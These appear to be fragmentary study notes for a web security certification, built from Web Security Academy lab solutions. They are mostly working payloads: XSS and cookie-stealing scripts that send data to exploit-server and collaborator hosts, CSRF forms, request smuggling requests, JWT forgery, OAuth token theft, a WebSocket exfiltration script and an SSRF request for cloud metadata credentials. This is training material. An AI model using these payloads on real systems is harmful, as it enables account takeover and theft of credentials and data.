BSCP5
BSCP5
BSCP5
Offline Cracking
Forgot Password
Password Bruteforce
Unvalidated `redirect_uri`
Open Redirect with OAuth 2.0
Custom Tags
HTML Encoded
DOM XSS in document.write sink using source
location.search inside a select element
Stealing Cookies
Capturing Passwords
Performing CSRF
- Change Email
If you got only tracking.js without Web Cache Poisioning Using Unkeyed Header
X-Cache - no cache poisoning
here, folks.
- tracking.js
- You see `vary` set to User-Agent
in response header
- Use `Pragma: x-get-cache-key` in
request header to view the cache
key Web Cache Poisioning Using Unkeyed Cookie
- Param Miner > rails param
cloacking scan
Parameter Cloacking
- JWT in use
TE CL
Obfuscating TE Header
Reflected XSS
Payload
X-Forwarded-For
Important : https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block
base64(username+':'+md5HashOfPassword)
<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-
server.net/'+document.cookie</script>
X-Forwarded-Host: your-exploit-server.com
1. While proxying traffic through Burp, click "My account" and complete
the OAuth login process. Afterwards, you will be redirected back to the
blog website.
2. In Burp, go to "Proxy" > "HTTP history" and study the requests and
responses that make up the OAuth flow. This starts from the
authorization request GET /auth?client_id=[...].
3. Notice that the client application (the blog website) receives some
basic information about the user from the OAuth service. It then logs the
user in by sending a POST request containing this information to its
own /authenticate endpoint, along with the access token.
5. Right-click on the POST request and select "Request in browser" > "In
original session". Copy this URL and visit it in the browser. You are
logged in as Carlos and the lab is solved.
https://oauth-0aaa006a033534708255dbfe0230008b.oauth-server.net/.well-known/openid-configuration1. Register your own cl
Common Bypass :- https://default-host.com&@foo.evil-user.net- https://default-host.com#@bar.evil-user.net
X-Original-URL
X-Rewrite-URL
---------------------------------------------------------------
POST / HTTP/1.1
X-Original-URL: /admin/deleteUser
...
<script>alert(1)</script>
<§>
<body%20§§=1>
<xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x';
<svg><a><animate+attributeName=href+values=javascript:alert(1) /
><text+x=20+y=20>Click me</text></a>
<§>
<svg><animatetransform%20§§=1>
<svg><animatetransform onbegin=alert(1)>
"onmouseover="alert(1)
javascript:alert(1)
</script><script>alert(1)</script>
';alert(document.domain)//
gets converted to:
\';alert(document.domain)//
You can now use the alternative payload:
\';alert(document.domain)//
which gets converted to:
\\';alert(document.domain)//
-alert(document.domain)-'
';alert(document.domain)//
'-alert(1)-'
\'-alert(1)//
# Stealing Cookies
';document.location='https://
swshucmo2c95ltmsgk1p9quhd8jz7vvk.oastify.com/
url='+document.domain;//
Payload :#" onload="this.src+='<img src=x onerror=print()>'"#<img src=x onerror=alert()In exploit server : <iframe src="https://Y
# Payload
window.postMessage('javascript:print()//http:','*');
# Deliver To Victim
<iframe src="https://0a8b003c03908a72811893c400e200e7.web-
security-academy.net/"
onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
'-alert(document.domain)-'http://foo?'-alert(1)-'
https://0a5b00e904b44a74807321b100d800cf.web-security-academy.net/product?productId=1&storeId=randstringhttps://0a5b
{{$on.constructor('alert(1)')()}}
http://foo?'-alert(1)-'
${alert(1)}
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a3d00630488573781441baf0055009b.web-
security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attack@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a5e00120350d98a850a3c850078009f.web-
security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="a@b.com" />
<input type="hidden" name="csrf"
value="2PtaaMyN31ry7Uk1B43tTdYZKRv34PUM" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a1700d5037fe3dc8065df1a00bf00e5.web-
security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="adamn@famn.com" />
<input type="hidden" name="csrf"
value="pPuFWLf1ia0yGVm26GcPU4iCeAZll2gK" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a1700d5037fe3dc8065df1a00bf00e5.web-security-
academy.net/?search=test%0d%0aSet-Cookie:
%20csrfKey=ZKRp4uaowcXjO0XOaDV5xf4nRuYnr2jo%3b
%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a1600b604b160ba81e00734003f00f6.web-
security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email"
value="works@ppporks.com" />
<input type="hidden" name="csrf"
value="FMflDMvWJzqvmBcGnUX2vzkTh0ALPjO9" />
<input type="submit" value="Submit request" />
</form>
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test
%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None"
onerror="document.forms[0].submit();"/>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a28005b03c06c1681f5617d00840021.web-
security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email"
value="random@random.text" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "/","/?
0a28005b03c06c1681f5617d00840021.web-security-academy.net");
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<meta name="referrer" content="no-referrer">
<form action="https://0aa9006c033f482b80ee991300b80055.web-security-
academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="done@w.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-
account/change-email?email=pwned@web-security-
academy.net&_method=POST";
</script>
# Another Method
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a5f00600398a7858150e36400310061.web-security-
academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@gmail.com" />
<input type="hidden" name="_method" value="POST" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<script>
document.location="https://0a98007803a1e8e98133614e004900a8.web-security-
academy.net/post/comment/confirmation?postId=../my-account/change-email?
email=anything%40anything.com%26submit=1"
</script>
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
<style>
iframe {
position:relative;
width:$width_value; # 700px
height: $height_value; # 700px
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value; #450px
left:$side_value; #100px
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account?
email=hacker@attacker-website.com"></iframe>
<style> iframe { position:relative; width:$width_value; height: $height_value; opacity:
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:$top_value1;
left:$side_value1;
z-index: 1;
}
.secondClick {
top:$top_value2;
left:$side_value2;
}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>
X-Forwarded-For: 127.0.0.1
# Injected Parameter
fehost=string"-alert(1)-"string;
# Injected Headers
X-Forwarded-Scheme: nohttps
X-Forwarded-Host: exploit-0a53008d04d5803583c7ecf60118001b.exploit-
server.net
https://0ad0001603ea443481672ac600a300b1.web-security-academy.net/?
search='/><script>alert('xss')</script>
GET /?utm_content='/><script>document.location="https://Collaborator.com?
c="+document.cookie</script>
/js/geolocate.js?
callback=setCountryCookie&utm_content=anything;callback=alert(1)
Host: 127.0.0.1
Host: localhost
Host: 192.168.0.§0§
GET https://0a29004d03b7096383fa281100820043.web-security-academy.net/
HTTP/2
Host: ajxsl03bt1t61ckeberqq718pzvqjh76.oastify.com
POST https://0a29004d03b7096383fa281100820043.web-security-academy.net/
admin/delete HTTP/2
Host: 192.168.0.96
csrf=eiJBDA6YwgraLusFdACA9IN7g47M8DPW&username=carlos
Connection: keep-alive
wiener@exploit-server.net
carlos@montaya.com
X-Host::
X-Forwarded-For:
X-HTTP-Host-Override:
Forwarded:
Host: 0a46001a04a1e3d18009a3c900f400f0.web-security-academy.net:1234'><a
href="//exploit-0aea00e7041ce3be80a6a22d01cf009c.exploit-server.net/?
{
"sub":"wiener"
}
to
{
"sub":"administrator"
}
# Header
{
"alg":"HS256"
}
# Payload
{
"sub":"wiener"
}
to
# Header
{
"alg":"none"
}
# Payload
{
"sub":"administrator"
}
hashcat -a 0 -m 16500 <jwt> <wordlist>
{
"kid": "7bace579-8808-4f3e-b0e8-9b2ad50b0de3",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "7bace579-8808-4f3e-b0e8-9b2ad50b0de3",
"n": "xrfsuTyUjdeIguJA-E4ymlVzTM3-
hSofRt0xpqNnXbeyREiH6cUm_qcuQ_xMjHTmkjfYjm65lSQd0aFJiB1RKGMOXNC
U8s0EwNVILppgG404arTMDYUM8QjXr8hUFzpGpLmCkZwOKAYHjesNb-
Ki1oDeS8LQ816gHwdp535icaGt5SgyF8IbAvn25wTyiUrRCNGHbHHzYnT_4hqwh
UcknRZjLHJ4fmsk8j3AzryYRhNvClJRqK13rSWue0EanIG8hpNHynJckz0_jbCMdZ
hYx-P9G2ONbSF1U_vI8BljBRbOF1CfmbR5lu47Gm6M5UB10NGNm6ASfK2Yz-
AfydWnlQ"
}
#
} Hosted on exploit server
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "7bace579-8808-4f3e-b0e8-9b2ad50b0de3",
"n": "xrfsuTyUjdeIguJA-E4ymlVzTM3-
hSofRt0xpqNnXbeyREiH6cUm_qcuQ_xMjHTmkjfYjm65lSQd0aFJiB1RKGMOXNC
U8s0EwNVILppgG404arTMDYUM8QjXr8hUFzpGpLmCkZwOKAYHjesNb-
Ki1oDeS8LQ816gHwdp535icaGt5SgyF8IbAvn25wTyiUrRCNGHbHHzYnT_4hqwh
UcknRZjLHJ4fmsk8j3AzryYRhNvClJRqK13rSWue0EanIG8hpNHynJckz0_jbCMdZ
hYx-P9G2ONbSF1U_vI8BljBRbOF1CfmbR5lu47Gm6M5UB10NGNm6ASfK2Yz-
AfydWnlQ"
}
]
}{
"kid": "../../../../../../../dev/null",
"alg": "HS256"
}
POST / HTTP/1.1
Host: 0a8c004d040823fb84151373004d002d.web-security-academy.net
Cookie: session=q4cyGyOhxOTS7K89pX8ig966gXjOhoUc
Content-Length: 35
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
POST / HTTP/1.1
Host: 0a6a00a604e332b180f2fd4d0008009d.web-security-academy.net
Cookie: session=tDbITpbuyl0HLxbmOMJTZ08O9ypmGa4R
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
x=
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked
60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Transfer-Encoding: chunked
POST / HTTP/1.1
Cookie: session=iHXKs5g5Ylxpw2iN5ebaWbSBsHBWs0pO
Content-Length: 4 : increase the content length to see more of the next request
Content-Type: application/x-www-form-urlencoded
search=test
-------------------------------------------------------------------------------------------
POST / HTTP/1.1
Host: 0a6f007e03f7433180ebc6ed00f10022.web-security-academy.net
Cookie: session=uscSQFDcTJxv4WpBGYU0n05f0boHcUqx
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Host: 0a8f006704404c748172c08f002300c8.web-security-academy.net
Cookie: session=ecGlrpPRPzGF2rXIbPmNr5JQEKJnNDlX
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 338
Transfer-Encoding: chunked
csrf=SBD1GC6lAH9SERvVB0tx3vpfSn4CJqWS&postId=6&name=test&email=a
%40b.com&website=https%3A%2F%2Fwww.test.com&comment=a
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
x=1
Notes
- Once the client application gets the code, it will then redirect
to `oauth_linking` with the authorization code to link the social
media account with the user account. oauth_linking?
code=<code> ( do not forget to DROP this request, as we want
to make sure the token remains unused )
<iframe
src="https://lab-id/oauth-linking?code=<code>"></iframe>
- Once the victim clicks on the link, we'll get the access
token, now when the website makes request to
`/callback?code=<code> to authenticate you, simply
replace this code with the received one
1. We try to change the redirectURI and we get URI mismatch
error.
2. We have a next post functionality which is vulnerable to
open redirect
`https://0a5d002e0375205a80980d0b00a40069.web-security-
academy.net/post/next?path=https://exploit-
0a8a0073032020f780570cdb0192004d.exploit-server.net/
exploit`
3. We'll use this in our iframe, deliver it, get the token & login
into administrator's account
4. Intercept the reqeust to `/me` and change the token in
Authorization bearer and get the API key
1. Check if any request parameter is used for access control, could be something in cookie or even another parameter in the re
# Example :
Normal Flow : home -> page1 -> page2 -> page3
Vuln Flow : home -> page1 -> page3
# Example
Req 1 : GET /admin/update?
user=carlos&action=upgrade
Req 2 : GET /admin/update?
user=carlos&confirmed=yes&action=upgrade
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>
No token, no problem
Take your CSRF token, put it in
/?search=test
Set-Cookie: csrfKey=YOUR-KEY; SameSite=None
/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b
%20SameSite=None
Here you can specify the input in the URL, for example if the
my account page is at `/my-account?id=wiener` you can enter
the value for email input as `/my-account?
id=wiener&email=a@b.com`
In this case, the vicitm first clicks on the button to submit the
changed email and the second click is to confirm the email
change action.
X-Forwarded-Proto
1. `vary` header is used to make unkeyed elements a keyed
element.
2. Use XSS to find the User-Agent of the victim
3. Use that User-Agent from logs in your request & get it
cached
1. Copy the JWK as public key and host it on the exploit server
in the shown format.
2. Modify the JWT token, change the kid value to the one you
uploaded on your server, as well as add the jku header
3. Sign the JWT token using the generated keys and send it in
{
"redirect_uris" : [
"https://example.com"
],
"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-
credentials/admin/"
}
COPY URL & DROP
GET /oauth-linking?
code=gF3JqG69oIp7MLD622S5uDnWqFlHa1ydShJsiqgh2Iy HTTP/2
Host: 0a7000bf04563a1c82d5881000ae007c.web-security-academy.net
Cookie: session=udMr3rO72dqtLQVdTbU4bVdyFmcA0T7M
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://oauth-0a6800b804d73a6e82f386d60291005d.oauth-
server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
EXPLOIT SERVER
<iframe src="https://oauth-
0a9900740305464781430fa5027a0066.oauth-server.net/auth?
client_id=zgpyqu5w9sjvtf159a084&redirect_uri=https://exploit-
0ae000cf032d46538174106101b30048.exploit-server.net/
exploit&response_type=code&scope=openid%20profile
%20email"></iframe>
<script>
if (!document.location.hash) {
window.location = 'https://oauth-
0a2b00b303ea208880560bfa02d100ff.oauth-server.net/auth?
client_id=mtyttcqiktkjol7896w7l&redirect_uri=https://
0a5d002e0375205a80980d0b00a40069.web-security-
academy.net/oauth-callback/../post/next?path=https://exploit-
0a8a0073032020f780570cdb0192004d.exploit-server.net/exploit/
&response_type=token&nonce=399721827&scope=openid
%20profile%20email'
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>
<script>
websocket = new WebSocket('wss://0a5600690383c42684d69a5a0074004c.web-security-academy.net/chat')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://sb7h9c1ohco50t1svkgpoq9hs8yzmqce1.oastify.com/?'+event.data, {mode: 'no-cors'})
}
</script>
GET /js/geolocate.js?
callback=setCountryCookie&utm_content=anything;callback=alert(
1) HTTP/2
Host: 0a790093042a483781b6a7ae001a00ee.web-security-
academy.net
Cookie: country=[object Object];
session=bG2PChcY1s7FELRxWBu8ZYFzpF55ejp4
X-Host::
X-Forwarded-For:
X-HTTP-Host-Override:
Forwarded:
# CL.TE
0
# TE.CL
x=1
0
Admin interface only available if logged in as an administrator, or if
requested from 127.0.0.1
Request 2 : Change the client ID with the one received in
response
dential information